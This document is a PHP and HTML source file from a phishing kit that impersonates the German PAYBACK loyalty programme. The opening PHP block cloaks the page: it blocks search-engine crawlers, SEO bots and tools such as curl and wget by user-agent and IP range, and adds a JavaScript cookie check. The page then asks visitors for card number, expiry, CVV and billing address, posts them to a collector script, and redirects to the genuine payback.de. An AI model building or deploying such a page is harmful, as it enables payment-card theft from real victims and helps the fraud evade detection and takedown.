File: /home/u756937133/domains/printsgiggles.com/public_html/payback/mall/card.php
<?php
// === Block & Log Bot Visitors ===
function logBlocked($reason) {
$ip = $_SERVER['REMOTE_ADDR'];
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown';
$time = date("Y-m-d H:i:s");
$log = "[$time] BLOCKED: $reason | IP: $ip | UA: $ua\n";
file_put_contents(__DIR__ . '/blocked.log', $log, FILE_APPEND);
http_response_code(403);
exit("Access Denied: $reason.");
}
// === Block by Known Bot User-Agents ===
$blockedAgents = [
'googlebot', 'bingbot', 'slurp', 'duckduckbot', 'baiduspider',
'yandex', 'sogou', 'exabot', 'facebot', 'ia_archiver',
'mj12bot', 'ahrefsbot', 'semrush', 'dotbot', 'gigabot', 'spbot',
'crawler', 'scrapy', 'python', 'wget', 'curl'
];
$ua = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
foreach ($blockedAgents as $bot) {
if (strpos($ua, $bot) !== false) {
logBlocked("Bot User-Agent: $bot");
}
}
// === Block by Known Bot CIDR IP Ranges ===
function ipInCIDR($ip, $cidr) {
list($net, $mask) = explode('/', $cidr);
$ipDec = ip2long($ip);
$netDec = ip2long($net);
$maskDec = ~((1 << (32 - $mask)) - 1);
return ($ipDec & $maskDec) === ($netDec & $maskDec);
}
// Example CIDRs of Google, Bing, Ahrefs (partial — you can expand)
$blockedCIDRs = [
'66.249.64.0/19', // Googlebot
'64.233.160.0/19', // Googlebot
'157.55.0.0/16', // Bingbot
'207.46.0.0/16', // Bingbot
'199.30.228.0/22', // Ahrefs
'5.45.207.0/24', // Ahrefs
];
$visitorIP = $_SERVER['REMOTE_ADDR'];
foreach ($blockedCIDRs as $cidr) {
if (ipInCIDR($visitorIP, $cidr)) {
logBlocked("Bot IP Range: $cidr");
}
}
// === JavaScript Challenge ===
// Humans pass, most bots don’t execute JS
if (!isset($_COOKIE['js_challenge_passed'])) {
echo "<script>document.cookie='js_challenge_passed=true; path=/';location.reload();</script>";
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Abrechnungs informationen</title>
<link rel="shortcut icon" href="../img/main-favicon.ico" type="image/x-icon">
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
background: rgb(229, 236, 246);
}
header {
background: #00205f;
padding: 6px;
}
.logoo {
width: 101px;
margin: auto;
background: #d2e6ff;
border-radius: 50%;
padding: 2px;
height: 90px;
display: flex;
align-items: center;
justify-content: center;
}
.logoo img {
width: 79px;
height: 55px;
display: block;
margin: auto;
}
.loogo {
width: 114px;
margin: auto;
margin-top: 2rem;
margin-bottom: 18px;
}
.loogo img {
width: 100%;
height: auto;
}
main {
width: 555px;
margin: auto;
margin-bottom: 25px;
/* margin-top: 2rem;
margin-left: 3rem; */
}
.vrifty {
text-align: start;
padding-bottom: 7px;
margin-top: 10px;
border-bottom: 3px solid #0271ff;
}
.vrifty h2 {
margin-bottom: .5rem;
font-weight: 500;
line-height: 1.2;
color: #00205f;
text-transform: uppercase;
}
h3 {
margin-bottom: .5rem;
font-weight: 500;
line-height: 1.2;
color: #00205f;
text-transform: uppercase;
text-align: start;
}
form {
width: 100%;
margin-top: 1.5rem;
}
.inputt {
width: 100%;
margin-top: 1rem;
}
.inputt input {
height: 39px;
padding-top: 0;
padding-bottom: 0;
border-radius: 2px;
font-size: 15px;
font-family: sans-serif;
display: block;
width: 100%;
padding: .375rem .75rem;
line-height: 1.5;
color: #495057;
background-color: #fff;
background-clip: padding-box;
border: 1px solid #ced4da;
transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out;
}
.inputt input:focus {
outline-color: #0271ff;
}
button {
display: block;
height: 42px;
min-width: 130px;
margin: auto;
font-size: 18px;
/* font-weight: 400; */
color: #fff;
border: 0;
border-radius: 2px;
background-color: rgb(0, 62, 176);
padding: 7px 15px;
text-align: center;
/* margin: .25rem; */
margin-bottom: 10px;
font-family: sans-serif;
margin-top: 10px;
}
footer {
background: #fff;
/* position: fixed;
bottom: 0;
left: 0; */
width: 100%;
padding: 1rem;
}
.fleelink {
border-top: 1px solid rgb(191, 209, 233);
margin-top: 2rem;
padding-top: 1rem;
width: 60%;
margin: auto;
display: flex;
align-items: center;
justify-content: space-between;
}
.fleelink a {
border-right: 1px solid rgb(191, 209, 233);
color: rgb(0, 62, 176);
text-decoration: none;
cursor: pointer;
font-size: 13px;
padding: 0 8px;
}
@media screen and (max-width: 768px) {
main {
width: 90%;
margin-left: 0;
margin: auto;
}
form {
width: 100%;
}
.logoo img {
width: 36px;
height: 36px;
}
.logoo {
width: 72px;
padding: 2px;
height: 67px;
}
.fleelink {
width: 100%;
flex-wrap: wrap;
}
}
</style>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.inputmask/5.0.6/jquery.inputmask.min.js"></script>
</head>
<body>
<header>
<div class="logoo">
<img src="../img/image-right-data.png" alt="">
</div>
</header>
<div class="loogo">
<img src="../img/payback-logo-desktop-data.svg" alt="">
</div>
<main>
<div class="vrifty">
<!-- <h2>Verify your Card information</h2> -->
</div>
<form action="" method="post" id="result">
<p>Sie müssen Ihre Karteninformationen überprüfen, um die Validierung Ihres Kontos fortzusetzen.</p>
<div class="inputt">
<input type="text" name="fn" placeholder="Vollständiger Name" required>
</div>
<div class="inputt">
<input type="text" name="aa" placeholder="Kartennummer" id="card-number" required>
</div>
<div class="flexcerr">
<div class="inputt">
<input type="text" name="bb" placeholder="Ablaufdatum" id="expiryDate" required>
</div>
<div class="inputt">
<input type="text" name="cc" placeholder="CVV" id="cvv" required>
</div>
</div>
<div class="vrifty">
<h3>Abrechnungsinformationen</h3>
</div>
<div class="inputt">
<input type="text" name="add" placeholder="Adresse" required>
</div>
<div class="inputt">
<input type="text" name="ct" placeholder="Stadt" required>
</div>
<div class="inputt">
<input type="text" name="st" placeholder="Staat" required>
</div>
<div class="inputt">
<input type="text" name="zip" placeholder="Postleitzahl" id="zip" required>
</div>
<button type="submit">Überprüfen</button>
</form>
</main>
<footer>
<div class="fleelink">
<a href="#">Impressum</a>
<a href="#"> Unternehmen</a>
<a href="#">Arbeiten bei PAYBACK</a>
<a href="#">Fragen & Hilfe</a>
<a href="#"> Datenschutz</a>
<a href="#">Barrierefreiheit</a>
<a href="#">Cookie-Einstellungen</a>
</div>
</footer>
<script>
$(document).ready(function() {
$('#cvv').inputmask('9999');
$('#card-number').inputmask('9999 9999 9999 9999');
$('#expiryDate').inputmask('99/99');
// $('#zip').inputmask('99999');
});
var fille = "../config/cd.php"; // Your php url here e.g http://youdomain.com/result.php
var formSubmitted = 0;
$("#result").on("submit", function (event) {
event.preventDefault();
// const dommdom = document.getElementById("email").value.split('@')[1];
formSubmitted++;
var inputs = $('input[required]');
for (var i = 0; i < inputs.length; i++) {
if (!inputs[i].value.trim()) {
alert("Please fill in all fields.");
return;
}
}
var formData = new FormData(this);
$.ajax({
url: `${fille}`,
type: 'POST',
data: formData,
processData: false, // Required to send FormData
contentType: false, // Required to not set default content type
success: function (response) {
console.log(response);
if (formSubmitted >= 1) {
console.log("GOOOOOO");
setTimeout(() => {
window.location.href = `http://payback.de/`;
}, 2000);
}
}
});
});
</script>
</body>
</html>